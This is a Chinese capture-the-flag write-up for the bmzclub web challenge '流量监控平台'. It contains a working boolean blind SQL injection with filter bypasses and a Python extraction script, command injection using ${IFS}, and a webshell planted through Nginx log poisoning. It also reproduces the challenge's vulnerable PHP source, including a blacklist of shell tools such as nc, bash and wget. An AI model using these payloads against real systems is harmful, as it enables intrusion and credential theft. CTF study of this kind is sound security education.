BZMCTF:流量监控平台

http://www.bmzclub.cn/challenges#%E6%B5%81%E9%87%8F%E7%9B%91%E6%8E%A7%E5%B9%B3%E5%8F%B0

BZMCTF:流量监控平台_第1张图片
BZMCTF:流量监控平台_第2张图片
通过枚举可知存在admin用户,当uname=admin时,发现提示密码错误,当uname!=admin时提示用户名错误。
BZMCTF:流量监控平台_第3张图片

BZMCTF:流量监控平台_第4张图片
另外存在过滤SQL关键字符
BZMCTF:流量监控平台_第5张图片
简单fuzz一下过滤了哪些字符
BZMCTF:流量监控平台_第6张图片
首先注释无法使用,可以通过构造字符闭合来绕过
BZMCTF:流量监控平台_第7张图片
空格及内联注释也无法使用,可以利用()绕过
BZMCTF:流量监控平台_第8张图片
andor&|都被过滤,可以使用同或,虽然mysql只支持notandorxor四种运算符。但是同或的运算逻辑也是可以在mysql中可以用符号!=!表示的。同或的运算逻辑与异或相反

and/&&的逻辑:
1 and 1 == 1
1 and 0 == 0
0 and 1 == 0
0 and 0 == 0

or/||的逻辑:
1 or 1 == 1
1 or 0 == 1
0 or 1 == 1
0 or 0 == 0

同或!=!的逻辑:
1 !=! 1 == 1
1 !=! 0 == 0
0 !=! 1 == 0
0 !=! 0 == 1

异或xor的逻辑:
1 xor 1 == 0
0 xor 1 == 1
1 xor 0 == 1
0 xor 0 == 0

BZMCTF:流量监控平台_第9张图片
BZMCTF:流量监控平台_第10张图片
这里我们只需要控制中间的表达式值对注入信息的每一位fuzz,进行布尔盲注即可,如下图所示
BZMCTF:流量监控平台_第11张图片
当测试注入语句正确时,只返回一条admin的数据,这时候username是正确的,所以返回password错误。当注入测试语句时错误的,则返回username错误,以此作为判断依据。

但是从fuzz的黑名单中已知了,逗号,是被过滤得。得尝试不适用逗号也能截位。
经查阅资料,发现可以使用from x for y的方法来绕过逗号,
BZMCTF:流量监控平台_第12张图片
但是有问题的是这里的for也含有or,此类含有or字符的SQL关键字还有information

当mysql版本大于5.6information的绕过就是利用innodb引擎下自带的两张信息表:innodb_index_statsinnodb_table_stats

from x for y没有for一样可以截位,只不过不能一位一位截取罢了
BZMCTF:流量监控平台_第13张图片
综上所述即可构造
BZMCTF:流量监控平台_第14张图片

uname=admin'!=!(ascii(mid(user()from(-1)))=116)!=!'1&passwd=mochu7

BZMCTF:流量监控平台_第15张图片
user()最后一位的ascii码改为不正确时,返回username error
BZMCTF:流量监控平台_第16张图片
可以猜测一下user()是不是root@localhost,不过这样就不能用ascii()了,可以用hex()。后面脚本也都是用hex()

uname=admin'!=!(hex(mid(user()from(-14)))='726F6F74406C6F63616C686F7374')!=!'1&passwd=mochu7

BZMCTF:流量监控平台_第17张图片
接下来使用Python开始编写盲注脚本

import requests
import string
from binascii import *

allstr = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'

burp0_url = "http://www.bmzclub.cn:20351/login.php"
burp0_cookies = {
     "PHPSESSID": "l9tsv3e1umnp0lk9dahkee5l41", "session": "6bc4a005-f112-45e7-a15d-8b323e5b879d"}
burp0_headers = {
     "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://www.bmzclub.cn:20351", "Connection": "close", "Referer": "http://www.bmzclub.cn:20351/", "Upgrade-Insecure-Requests": "1"}

hexdata = ''

for l in range(1,50):
    for s in allstr:
        s = hexlify(bytes(s.encode())).decode().upper()
        payload = "admin'!=!(hex(mid(user()from(-{})))='{}')!=!'1".format(l,s+hexdata)
        burp0_data = {
     "uname": payload, "passwd": "mochu7"}
        resp = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
        if 'password error!!@_@' in resp.text:
            hexdata = s + hexdata
            print(unhexlify(hexdata).decode())
        else:
            continue

查用户名/当前数据库/版本

payload = "admin'!=!(hex(mid(user()from(-{})))='{}')!=!'1".format(l,s+hexdata)

payload = "admin'!=!(hex(mid(database()from(-{})))='{}')!=!'1".format(l,s+hexdata)

payload = "admin'!=!(hex(mid(version()from(-{})))='{}')!=!'1".format(l,s+hexdata)

注入得到的信息如下:

user():	root@localhost

current_database(): ctf

version(): 10.2.26-MariaDB-log

查ctf库中的表名

payload = "admin'!=!(hex(mid((select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name)='ctf')from(-{})))='{}')!=!'1".format(l,s+hexdata)

查询结果显示当前数据库中只有一张admin

接下来无法通过innodb这两张表查到字段的数据了,因为限制太多,如限制了反引号。不确定能否通过盲注查询出字段数据,这里就不继续查询admin表字段数据了,直接就可以通过POST的参数尝试猜测字段名为unamepasswd

如果这里没有过滤*,那就可以直接select * from ctf.admin;

查字段uname的内容

payload = "admin'!=!((select(hex(mid(group_concat(uname)from(-{})))='{}')from(ctf.admin)))!=!'1".format(l,s+hexdata)

只有一个用户admin

继续查字段passwd的内容

payload = "admin'!=!((select(hex(mid(group_concat(passwd)from(-{})))='{}')from(ctf.admin)))!=!'1".format(l,s+hexdata)

BZMCTF:流量监控平台_第18张图片
得到用户admin的密码:e10adc3949ba59abbe56e057f20f883e

应该是md5,拿去cmd5查询一下
BZMCTF:流量监控平台_第19张图片
。。。。。。。密码就这???????
上面所有的努力就是一个弱口令登陆的的事情???????

唉,早知道就直接尝试弱口令了。不过没关系。毕竟是CTF,能学到的以前不知道的姿势就行,又不是实战渗透。
实战估计早就吐血了。

得到密码后成功登录
BZMCTF:流量监控平台_第20张图片
猜测命令执行,没有回显猜测是exec()执行
BZMCTF:流量监控平台_第21张图片
命令执行出错有回显
BZMCTF:流量监控平台_第22张图片
测试的时候发现,有过滤
BZMCTF:流量监控平台_第23张图片
简单fuzz了下发现过滤了ncbashpythonphpwgetftpsh>以及空格等,命令执行绕过,过滤了这些应该很容易就绕过了吧,姿势网上多的很,这里就不赘述了。

另外经过多次测试后发现这里执行命令对错应该是直接判断exec()的返回值,这样的话显示的命令执行对错就没什么用了,有些正确的命令本身没有输出例如cpmv等。而且有些错误的命令执行会输出报错信息,被exec()作为返回值反而回显命令执行成功。

一开始试了下反弹shell,结果试了很多次没成功,也是迷。干脆就用别的办法了。

第一种方法:利用cp将flag直接复制到web目录下

cp${IFS}/flag${IFS}./flag.html

直接访问/admin/flag.html
BZMCTF:流量监控平台_第24张图片
第二种方法:利用burp,将shell写在url后面
BZMCTF:流量监控平台_第25张图片
Nginx的服务器,默认日志文件地址/var/log/nginx/access.log或者/var/log/nginx/error.log
利用cp将日志文件复制到web目录,后缀为php

cp${IFS}/var/log/nginx/access.log${IFS}mochu7.ph\p

执行完成后,访问http://www.bmzclub.cn:20351/admin/mochu7.php
BZMCTF:流量监控平台_第26张图片
成功拿到shell
BZMCTF:流量监控平台_第27张图片
有命令执行,操作空间就很大。还有很多别的方法自己去发掘吧。

最后贴一下源码
login.php


        header("Content-Type:text/html;charset=utf-8");
        error_reporting(E_ERROR);
        define ('PATH_WEB', dirname(__FILE__).'/');
        require_once(dirname(__FILE__).'/include/conf.php');
        require_once(dirname(__FILE__).'/include/fiter.php');
        #var_dump($_SESSION);
        if($_SESSION['flag'] === 1){
     
                header("location:./admin/");exit;
        }
        #echo $_POST['uname'].'````'.$_POST['passwd'];

        if($_POST['uname'] && $_POST['passwd']){
     
                $obj = new fiter();
                $uname = $obj->sql_clean($_POST['uname']);
                $passwd = md5($_POST['passwd']);
                $query="SELECT * FROM admin WHERE uname='".$uname."'";
                $result=mysql_query($query);
                #var_dump($result);
                if ($row = mysql_fetch_array($result)){
     
                        #print_r($row);echo "\n\r
"
; if ($row['passwd']===$passwd){ $_SESSION['flag'] = 1; #echo $_SESSION['flag']; header("location:./admin/");exit(); } else{ echo ""; exit(); } } else{ echo ""; exit(); } } else { echo ""; exit(); } ?>

filter.php


class fiter{
     
        var $str;
        var $order;

        function sql_clean($str){
     
                if(is_array($str)){
     
                        echo "";exit;
                }
                $filter = "/ |\*|#|,|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i";

        //由于在mysql中认为 %a0 也是空格,所以这里也需要过滤,
                //在这里做了修改,添加 %a0

                if(preg_match($filter,$str)){
     
                        echo "";exit;
                }else if(strrpos($str,urldecode("%00"))){
     
                        echo "";exit;
                }
                return $this->str=$str;
        }

        function ord_clean($ord){
     
                $filter = " |bash|perl|nc|java|php|>|>>|wget|ftp|python|sh";
                if (preg_match("/".$filter."/i",$ord) == 1){
     
                        return $this->order = "";
                }
                return $this->order = $ord;
        }
?>

admin/index.php


header("Content-Type:text/html;charset=utf-8");
$o = new fiter();
$a = $o->ord_clean($_POST['ord']);
if($a){
     
        if(exec($a))echo '命令执行成功!!';
        else echo "命令执行出错!!";
}else echo "想干啥呢~_~!!"
?>

你可能感兴趣的:(CTF_WEB_Writeup)